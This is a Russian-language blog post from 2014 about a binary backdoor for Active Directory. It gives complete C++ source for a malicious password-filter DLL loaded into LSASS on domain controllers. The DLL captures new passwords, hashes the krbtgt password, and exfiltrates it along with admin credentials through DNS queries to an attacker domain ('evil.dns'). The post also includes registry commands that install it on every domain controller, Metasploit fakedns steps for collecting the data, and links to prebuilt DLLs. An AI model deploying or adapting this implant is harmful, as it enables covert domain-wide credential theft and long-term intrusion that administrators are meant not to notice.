10 Апреля, 2014

Binary backdoor in Active Directory :: Stealing passwords

Dmitriy Evteev
До сегодняшнего дня я писал только про бэкдоры в AD на уровне приложения [ 1 , 2 , 3 , 4 , 5 ]. Подобные закладки интересны в первую очередь тем, что они имеют высокую степень живучести за счет того, что присутствуют в реплике Active Directory. Такие закладки могут пережить даже смутные времена disaster recovery, после признания админами факта компрометации AD. Но обладая привилегиями системы на контроллерах домена, появляются иные способы сохранить свое незримое присутствие не доводя админов до белого колена. Одному из таких способов и посвящена данная публикация.
name="more">
В далекие времена смены шкурок формы ввода логинов и паролей ( аля gina.dll ) нашлись умельцы, которые приспособили эту возможность винды для аккуратного складирования используемых креденшелов в текстовый файлик ( ссылка ). Серьезным ограничением данного подхода являлось то, что атакующему требовалось заменить джину на всех компутерах, на которых хотелось пособирать заветные пароли. Соответственно сам перехват осуществляется в момент ввода логина и пароля.



В настоящие же дни, Microsoft, понимая, что с джиной хакерам не катит, предлагает использовать хук  PasswordChangeNotify , который будучи подгруженный в LSASS на контроллере домена, позволяет собирать стабильный урожай в виде паролей пользователей домена. На эту функциональность собственно и обратил внимание Rob Fuller aka @mubix . Так появился следующий пруф , который тут же был подхвачен сообществом [ тынц , тынц ].


В целом можно собрать код @mubix  и использовать получившуюся dll'ль для различного рода благих целей. Но этот пруф не подходит для длительного плодотворного использования. Представляете, как удивится администратор адешечки, когда сетевой администратор покажет ему логи корпоративного прокси-сервера? Хотелось бы видеть мимику его лица, но в самом начале я уже говорил, что сегодня доводить до седины админов мы не станем.

Размышляя на тему того, как максимально эффективно можно воспользоваться наработками @mubix у меня появились следующие мысли:
  • складировать пароли где-то в дебрях sysvol (отличное хранилище, но требует прав доменного пользователя и сетевого доступа к контроллеру домена при стягивании полезных данных)
  • складировать пароли где-то в дебрях каталога ldap (аналогично недостаткам с sysvol)
  • -//- где-то в dns-зоне домена (интересное решение, т.к. находятся такие умники, которые вывешивают внутренние dns-зоны в Ынтернет; с другой стороны весьма палевный способ)
  • тупо отдавать рекурсивно пароли по dns (…бинго!)

Кроме того, нам не нужны креды ВСЕХ пользователей домена, достаточно хешика krbtgt  и 2-3 актуальных паролей админов, которым можно ходить на Citrix и/или VPN.

Так появился следующий код:


#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#include <ntsecapi.h>
#include <string>
#include <algorithm>
usingnamespace std;

//**********************************************
//Init values
#define INIT_A 0x67452301
#define INIT_B 0xefcdab89
#define INIT_C 0x98badcfe
#define INIT_D 0x10325476
#define SQRT_2 0x5a827999
#define SQRT_3 0x6ed9eba1

unsignedint nt_buffer[16];
unsignedint output[4];
char itoa16[17] = "0123456789ABCDEF";

char ntlmhash[33];
//**********************************************

// http://www.codeproject.com/Articles/328761/NTLM-Hash-Generator
void NTLM(PWSTR key, USHORT sizekey)
{
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Prepare the string for hash calculation
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
int i = 0;
int length = sizekey;
memset(nt_buffer, 0, 16*4);
//The length of key need to be <= 27
for(; i<length/2; i++)
nt_buffer[i] = key[2 * i] | (key[2 * i + 1] << 16);

//padding
if(length % 2 == 1)
nt_buffer[i] = key[length - 1] | 0x800000;
else
nt_buffer[i] = 0x80;
//put the length
nt_buffer[14] = length << 4;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// NTLM hash calculation
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
unsignedint a = INIT_A;
unsignedint b = INIT_B;
unsignedint c = INIT_C;
unsignedint d = INIT_D;

/* Round 1 */
a += (d ^ (b & (c ^ d))) + nt_buffer[0] ;a = (a << 3 ) | (a >> 29);
d += (c ^ (a & (b ^ c))) + nt_buffer[1] ;d = (d << 7 ) | (d >> 25);
c += (b ^ (d & (a ^ b))) + nt_buffer[2] ;c = (c << 11) | (c >> 21);
b += (a ^ (c & (d ^ a))) + nt_buffer[3] ;b = (b << 19) | (b >> 13);

a += (d ^ (b & (c ^ d))) + nt_buffer[4] ;a = (a << 3 ) | (a >> 29);
d += (c ^ (a & (b ^ c))) + nt_buffer[5] ;d = (d << 7 ) | (d >> 25);
c += (b ^ (d & (a ^ b))) + nt_buffer[6] ;c = (c << 11) | (c >> 21);
b += (a ^ (c & (d ^ a))) + nt_buffer[7] ;b = (b << 19) | (b >> 13);

a += (d ^ (b & (c ^ d))) + nt_buffer[8] ;a = (a << 3 ) | (a >> 29);
d += (c ^ (a & (b ^ c))) + nt_buffer[9] ;d = (d << 7 ) | (d >> 25);
c += (b ^ (d & (a ^ b))) + nt_buffer[10] ;c = (c << 11) | (c >> 21);
b += (a ^ (c & (d ^ a))) + nt_buffer[11] ;b = (b << 19) | (b >> 13);

a += (d ^ (b & (c ^ d))) + nt_buffer[12] ;a = (a << 3 ) | (a >> 29);
d += (c ^ (a & (b ^ c))) + nt_buffer[13] ;d = (d << 7 ) | (d >> 25);
c += (b ^ (d & (a ^ b))) + nt_buffer[14] ;c = (c << 11) | (c >> 21);
b += (a ^ (c & (d ^ a))) + nt_buffer[15] ;b = (b << 19) | (b >> 13);

/* Round 2 */
a += ((b & (c | d)) | (c & d)) + nt_buffer[0] +SQRT_2; a = (a<<3 ) | (a>>29);
d += ((a & (b | c)) | (b & c)) + nt_buffer[4] +SQRT_2; d = (d<<5 ) | (d>>27);
c += ((d & (a | b)) | (a & b)) + nt_buffer[8] +SQRT_2; c = (c<<9 ) | (c>>23);
b += ((c & (d | a)) | (d & a)) + nt_buffer[12]+SQRT_2; b = (b<<13) | (b>>19);

a += ((b & (c | d)) | (c & d)) + nt_buffer[1] +SQRT_2; a = (a<<3 ) | (a>>29);
d += ((a & (b | c)) | (b & c)) + nt_buffer[5] +SQRT_2; d = (d<<5 ) | (d>>27);
c += ((d & (a | b)) | (a & b)) + nt_buffer[9] +SQRT_2; c = (c<<9 ) | (c>>23);
b += ((c & (d | a)) | (d & a)) + nt_buffer[13]+SQRT_2; b = (b<<13) | (b>>19);

a += ((b & (c | d)) | (c & d)) + nt_buffer[2] +SQRT_2; a = (a<<3 ) | (a>>29);
d += ((a & (b | c)) | (b & c)) + nt_buffer[6] +SQRT_2; d = (d<<5 ) | (d>>27);
c += ((d & (a | b)) | (a & b)) + nt_buffer[10]+SQRT_2; c = (c<<9 ) | (c>>23);
b += ((c & (d | a)) | (d & a)) + nt_buffer[14]+SQRT_2; b = (b<<13) | (b>>19);

a += ((b & (c | d)) | (c & d)) + nt_buffer[3] +SQRT_2; a = (a<<3 ) | (a>>29);
d += ((a & (b | c)) | (b & c)) + nt_buffer[7] +SQRT_2; d = (d<<5 ) | (d>>27);
c += ((d & (a | b)) | (a & b)) + nt_buffer[11]+SQRT_2; c = (c<<9 ) | (c>>23);
b += ((c & (d | a)) | (d & a)) + nt_buffer[15]+SQRT_2; b = (b<<13) | (b>>19);

/* Round 3 */
a += (d ^ c ^ b) + nt_buffer[0] + SQRT_3; a = (a << 3 ) | (a >> 29);
d += (c ^ b ^ a) + nt_buffer[8] + SQRT_3; d = (d << 9 ) | (d >> 23);
c += (b ^ a ^ d) + nt_buffer[4] + SQRT_3; c = (c << 11) | (c >> 21);
b += (a ^ d ^ c) + nt_buffer[12] + SQRT_3; b = (b << 15) | (b >> 17);

a += (d ^ c ^ b) + nt_buffer[2] + SQRT_3; a = (a << 3 ) | (a >> 29);
d += (c ^ b ^ a) + nt_buffer[10] + SQRT_3; d = (d << 9 ) | (d >> 23);
c += (b ^ a ^ d) + nt_buffer[6] + SQRT_3; c = (c << 11) | (c >> 21);
b += (a ^ d ^ c) + nt_buffer[14] + SQRT_3; b = (b << 15) | (b >> 17);

a += (d ^ c ^ b) + nt_buffer[1] + SQRT_3; a = (a << 3 ) | (a >> 29);
d += (c ^ b ^ a) + nt_buffer[9] + SQRT_3; d = (d << 9 ) | (d >> 23);
c += (b ^ a ^ d) + nt_buffer[5] + SQRT_3; c = (c << 11) | (c >> 21);
b += (a ^ d ^ c) + nt_buffer[13] + SQRT_3; b = (b << 15) | (b >> 17);

a += (d ^ c ^ b) + nt_buffer[3] + SQRT_3; a = (a << 3 ) | (a >> 29);
d += (c ^ b ^ a) + nt_buffer[11] + SQRT_3; d = (d << 9 ) | (d >> 23);
c += (b ^ a ^ d) + nt_buffer[7] + SQRT_3; c = (c << 11) | (c >> 21);
b += (a ^ d ^ c) + nt_buffer[15] + SQRT_3; b = (b << 15) | (b >> 17);

output[0] = a + INIT_A;
output[1] = b + INIT_B;
output[2] = c + INIT_C;
output[3] = d + INIT_D;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Convert the hash to hex (for being readable)
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for(i=0; i<4; i++)
{
int j = 0;
unsignedint n = output[i];
//iterate the bytes of the integer
for(; j<4; j++)
{
unsignedint convert = n % 256;
ntlmhash[i * 8 + j * 2 + 1] = itoa16[convert % 16];
convert = convert / 16;
ntlmhash[i * 8 + j * 2 + 0] = itoa16[convert % 16];
n = n / 256;
}
}
//null terminate the string
ntlmhash[33] = 0;
}
//**********************************************

void nsping(char * host)
{

WSADATA wsaData;
int iResult;

structhostent *remoteHost;
char *host_name;

// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult == 0) {
host_name = host;
remoteHost = gethostbyname(host_name);
}
}

// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

BOOLEAN__stdcall InitializeChangeNotify(void)
{
return TRUE;
}

BOOLEAN__stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation )
{
return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword )
{

boolean debug = FALSE;

if (debug)
{
FILE* pFile = fopen("c:windowstemppw.tmp", "a+");
if (NULL != pFile)
{
fprintf(pFile, "r
User: %ws", UserName->Buffer);
fprintf(pFile, "r
Password: %ws", NewPassword->Buffer);
fprintf(pFile, "r
Hex: ");

for (USHORT i = 0; i < (NewPassword->Length / 2); i++)
{
fprintf(pFile, "%x",NewPassword->Buffer[i]);
}
fclose(pFile);
}
}

//--- nslookup

char buffUser[100];
sprintf(buffUser, "%ws", UserName->Buffer);
std::string strUser(buffUser);
std::transform(strUser.begin(), strUser.end(), strUser.begin(), ::tolower);

if (strUser.find("krbtgt")==0)
{
char hostname[255];
NTLM(NewPassword->Buffer,(NewPassword->Length / 2));
sprintf(hostname,"%s.krbtgt.evil.dns",ntlmhash);
nsping(hostname);
}
elseif (strUser.find("admin")!=-1 || strUser.find("admn")!=-1)
{
char hostname[255];
std::string tmppw, tmpusr;
tmppw.reserve( NewPassword->Length * 2 );
tmpusr.reserve( UserName->Length * 2 );

for (USHORT i = 0; i < (UserName->Length / 2); i++)
{
sprintf((char*)tmpusr.c_str(), "%s%x-",tmpusr.c_str(),UserName->Buffer[i]);
}

sprintf((char*)tmpusr.c_str(), "%susr",tmpusr.c_str());

for (USHORT i = 0; i < (NewPassword->Length / 2); i++)
{
sprintf((char*)tmppw.c_str(), "%s%x-",tmppw.c_str(),NewPassword->Buffer[i]);
}

sprintf((char*)tmppw.c_str(), "%spwd",tmppw.c_str());

string tmpbuffpw = tmppw.c_str();
string tmpbuffusr = tmpusr.c_str();

for (USHORT i = 0; i < tmpbuffpw.length(); i=i+63)
{
sprintf(hostname,"%s.%s.evil.dns",(tmpbuffpw.substr ( i , 63 )).c_str(),(tmpbuffusr.substr ( 0 , 63 )).c_str());
nsping(hostname);
}

}

//---

return 0;
}


Инсталляция:

1. На всех контроллерах домена (вне зависимости от их роли!) прописаться в качестве password-фильтра

reg query HKLMSystemCurrentсontrolSetControlLsa /v "Notification Packages"
reg add HKLMSystemCurrentcontrolSetControlLsa /v "Notification Packages" /t REG_MULTI_SZ /d scecli0RASSFM0evilpassfilter /f

2. Зарегистрировать dns-имя и на ns-сервере поднять, например, msf fakedns

msf > use auxiliary/server/fakedns
msf auxiliary(fakedns) > run

3. Сребутать все котроллеры домена 8)

ЗЫ. clymb3r  в свое время сумел подгрузить password-фильтр без ребута системы, однако у мну эта магия не взлетела(( стукнитесь, если у кого получится.




Для экспериментов можно использовать следующие сборки [ evilpassfilter.dll, evilpassfilter_x64.dll ]. Данные билды никуда не пересылают пароли, а только лишь аккуратно складывают их в файлик c:windowstemppw.tmp

MD5 (evilpassfilter.dll) = d9d210c382155a9f50e051a1a3a9d5a6
MD5 (evilpassfilter_x64.dll) = ac53dc59933d0ce6ef6058fc1340caef